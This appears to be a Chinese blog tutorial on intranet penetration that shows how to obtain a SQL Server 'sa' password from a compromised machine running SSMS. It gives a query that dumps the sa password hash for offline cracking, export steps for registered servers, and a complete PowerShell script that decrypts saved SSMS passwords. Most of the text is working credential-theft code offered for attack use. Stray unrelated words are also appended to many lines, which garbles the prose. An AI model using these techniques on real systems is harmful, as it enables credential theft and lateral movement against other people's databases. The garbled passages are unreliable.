内网渗透是有的时候会遇到对方SSMS没断开链接正连着别的机器的mssql此时有两种方法能够获取sa密码html
当密码强度较弱时可使用第一只方式,第一种方式解不开的状况下可使用后面二种方式git
使用以下语句:github
Select master.dbo.fn_varbintohexstr(password_hash) from sys.sql_logins where name = 'sa'sql
直接获得sa密码hashshell
上cmd5解密服务器
右键点击,而后选择注册ide
点击保存sqlserver
点击识图而后点击已注册服务器post
而后右键选择任务,而后导出ui
这个记得别勾,点肯定
而后使用powershell脚本解密
param( [Parameter(Mandatory=$true)] [string] $FileName ) Add-Type -AssemblyName System.Security $ErrorActionPreference = 'Stop' function Unprotect-String([string] $base64String) { return [System.Text.Encoding]::Unicode.GetString([System.Security.Cryptography.ProtectedData]::Unprotect([System.Convert]::FromBase64String($base64String ), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)) } $document = [xml] (Get-Content $FileName) $nsm = New-Object 'System.Xml.XmlNamespaceManager' ($document.NameTable) $nsm.AddNamespace('rs', 'http://schemas.microsoft.com/sqlserver/RegisteredServers/2007/08') $attr = $document.DocumentElement.GetAttribute('plainText') if ($attr -ne '' -and $Operation -ieq 'Decrypt') { throw "The file does not contain encrypted passwords." } $servers = $document.SelectNodes("//rs:RegisteredServer", $nsm) foreach ($server in $servers) { $connString = $server.ConnectionStringWithEncryptedPassword.InnerText echo "" echo "Encrypted Connection String:" echo $connString echo "" if ($connString -inotmatch 'password="?([^";]+)"?') {continue} $password = $Matches[1] $password = Unprotect-String $password echo "" echo "Decrypted Connection String:" $connString = $connString -ireplace 'password="?([^";]+)"?', "password=`"$password`"" echo $connString echo "" }
http://www.zcgonvh.com/post/SQL_Server_Management_Studio_saved_password_dumper.html